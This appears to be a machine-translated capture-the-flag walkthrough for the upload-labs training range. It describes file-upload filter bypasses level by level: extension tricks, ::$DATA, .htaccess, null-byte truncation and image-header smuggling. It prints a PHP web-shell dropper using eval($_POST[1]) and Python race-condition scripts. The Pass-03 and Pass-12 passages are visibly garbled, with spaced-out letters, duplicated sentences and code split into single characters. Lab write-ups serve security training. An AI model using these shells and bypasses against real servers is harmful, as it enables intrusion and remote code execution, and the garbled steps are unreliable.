upload.test
Pass-01
Delete the check method return checkFile(). If the browser does not allow you to modify the front-end code, use the packet capture tool to modify it
Then upload a sentence
Pass-02
Back end verification content type
Change the typege to image/jpeg
Pass-03
php:: D A T A mutually When to 1. p h p 2. p h p : a . j p g meeting living become 2. p h p but within Allow yes stay I Guys 2. p h p : a . j p g in ( no use this individual ) double write : : DATA is equivalent to 1 php 2.php:a.jpg will generate 2 PHP, but the content is in our 2 PHP: Double write in a.jpg (without this): DATA is equivalent to 1 php2. PHP: a.jpg will generate 2 PHP, but the content is in our 2 Double write in PHP: a.jpg (without this):: DATA - >:: D A T : : DAT:: DAT::DATAA, because one will be removed
AddType application/x-httpd-php .php .phtml parsing phtml and PHP suffixes
To create this file, upload it first
Then put 1 Change the file name of PHP to phtml and upload it
Pass-04
Double write: $DATA can also be used
htaccess file AddType application / x-httpd-php jpg parsing jpg pictures
Change 1 The file name of PHP is 1 Just upload jpg
Use apache to parse: parse from back to front. If you encounter a suffix that cannot be parsed, it will be like parsing 1 php. Xxx xxx means that there is no resolved name
Change 1 The file name of PHP is 1 php. abc
Pass-05
Double write: $DATA can also be used
Use apache to parse: parse from back to front. If you encounter a suffix that cannot be parsed, it will be like parsing 1 php. Xxx xxx means that there is no resolved name
Change 1 The file name of PHP is 1 php. ABC this is conditional if you can't parse the shell php. XXX, description httpd Conf is not added PHP parsing
Need to be in httpd Add to conf:
AddType application/x-httpd-php .php
1.php. . it's fine too
Pass-06
Use burp blasting to try various suffixes. Finally, it is found that Php, Php, php1, php7, etc. are not limited (Note: blasting can only be letters plus numbers, and special symbols will be encoded by url, resulting in wrong suffix of file name)
Then you can upload a 1 php, because case can be ignored under windows, you can execute this php file. If it cannot run under linux
Double write: $DATA can also be used
Pass-07
Double write: $DATA can also be used
It can be seen from the source code that there is no filtering for the spaces of file suffixes, so it can be found in 1. 0 PHP is followed by a space. You can use burp to capture packets and modify the suffix
Note: it can be executed under windows, because windows will ignore the space of suffix, but not under linux
Pass-08
This level filters all suffixes, and then removes the beginning and end spaces. We find that we can add a dot at the end of the file Bypass, and then in windows, if the end is a dot, the dot will be removed
You can use shell php. abc. If abc cannot be parsed from right to left, parse PHP and execute according to PHP
Double write: $DATA can also be used
Pass-09
Data 1 is not filtered PHP:: $data is OK
Pass-10
Double write: $DATA can also be used
PHP packet capture is modified to 1 php. .
Change 1 The file name of PHP is 1 php. abc
Pass-11
Data 1 is not filtered PHP:: $data is OK
Double write bypass 1 Pphphp, but remember not to phpp, because it will remove the previous php
Pass-12
The back end uses white list judgment, but the path of the picture is directly spliced, for example:
$img_path =
G
E
T
[
′
s
a
v
e
p
a
t
h
′
]
.
"
/
"
.
r
a
n
d
(
10
,
99
)
.
d
a
t
e
(
"
Y
m
d
H
i
s
"
)
.
"
.
"
.
_GET['save_path']."/".rand(10, 99).date("YmdHis").".".
GET[′savepath′]."/".rand(10,99).date("YmdHis").".".file_ext;
You can use% 00 truncation to bypass (add when passing in the save_path parameter), but there are conditions
1. The version of php must be less than 5.3 four
2. Magic for php_ quotes_ GPC is off
Bypass: first capture the package and modify name = 1 Change JPG type to: content type: image / jpeg
Then modify sava_path, plus / 1 php/%00
Note: you can use / 1 PHP% 00 (without /)
Finally, use 1 PHP access page
Delete the following, and then a blank page comes out, but it is successful. Just upload the POST parameters
Post-13
Similar to pass-12, it is 00 truncated
However, this is POST value transfer, and% 00 cannot be decoded directly
You can capture packets through burp in... / upload / 1 Add a + sign after PHP +, and then change the hex 2b corresponding to + to 00 in hex
In hex, change 2b of the + sign to 00
Then ibid
Post-14
After uploading the picture of the Trojan horse, click here, and then
This is because the path is wrong
That's it
Post-15
post-14 as like as two peas.
You can also bypass the file header check, add the file header GIF89a of GIF picture, and bypass the GIF picture check.
Post-16
The source code is wrong
Post-17
After re rendering the picture, we can upload one first, download it after success, compare it on HXD software to see what has not been changed by rendering, and then write a sentence into it
Then upload it
Post-18
Conditional competition
Write a Trojan horse 18 php
<?php echo md5(1); fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>'); ?>
If the Trojan is uploaded successfully, it will output a 1 and create a shell Write a sentence in PHP
Write a script of exp.py to trigger 18 PHP and verify the successful insertion
import requests def main(): i=0 while 1: try: print(i,end='\r') a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload/18.php") if "c4ca4238a0b923820dcc509a6f75849b" in a.text: print( "OK") break except Exception as e: pass i+=1 main()
requests.get followed by the path to the file
c4ca4238a0b923820dcc509a6f75849b=1
Send it here and clear all $, because you have to send the complete package all the time and plug it in when the system doesn't pay attention
After the script runs, it starts to attack. If python does not install the requests module, you can use pip install requests to install it
Finally, visit shell PHP's position is blank
Then enter the post parameter 1=phpinfo(); Validation succeeded
Post-19
Conditional competition, first analyze the source code
Here is part of the code
//index.php $is_upload = false; $msg = null; if (isset($_POST['submit'])) { require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = 'The file has been uploaded but not renamed.'; break; case -1: $msg = 'This file cannot be uploaded to the temporary file storage directory of the server.'; break; case -2: $msg = 'Upload failed. The upload directory is not writable.'; break; case -3: $msg = 'Upload failed. This type of file cannot be uploaded.'; break; case -4: $msg = 'Upload failed. The uploaded file is too large.'; break; case -5: $msg = 'Upload failed. A file with the same name already exists on the server.'; break; case -6: $msg = 'The file cannot be uploaded and cannot be copied to the target directory.'; break; default: $msg = 'Unknown error!'; break; } } //myupload.php class MyUpload{ ...... ...... ...... var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" ); ...... ...... ...... /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, we are ready to move the file to destination $ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // check if we need to rename the file if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, everything worked as planned :) return $this->resultUpload( "SUCCESS" ); } ...... ...... ...... };
After the audit, I found these in the white list of the file and found that the code was incomplete, so I opened the complete code and started the audit
It is found that the upload and save address of the 19 level file is empty, that is, it is saved in the directory at the same level as upload, rather than in the 18 level file
According to this line of code, the final file name will be changed to 8 random letters
This is the definition function to check the file suffix
After uploading a file, there will be an operation immediately to add an upload before the file name
According to the code running logic, if the file type does not pass, the following mobile files will not be executed at all, so there is no chance and the file can not be uploaded. Therefore, it can only pass through the white list. When the browser encounters a suffix that cannot be resolved, it will resolve it forward. After trying, it is found that only the suffix at the end of 7z will not be resolved, so try to upload 1 php. 7z uploaded successfully, but the PHP suffix in the file will be deleted, so we have to take advantage of conditional competition to execute the Trojan horse before renaming, and then write a 19 php. 7z
<?php echo md5(1); fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>'); ?>
Write another 19 py
import requests def main(): i=0 while 1: try: print(i,end='\r') a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload19.php.7z") if "c4ca4238a0b923820dcc509a6f75849b" in a.text: print( "OK") break except Exception as e: pass i+=1 main()
Then perform the same operation as 18 off, and finally succeed!
Finally, connect through the shell tool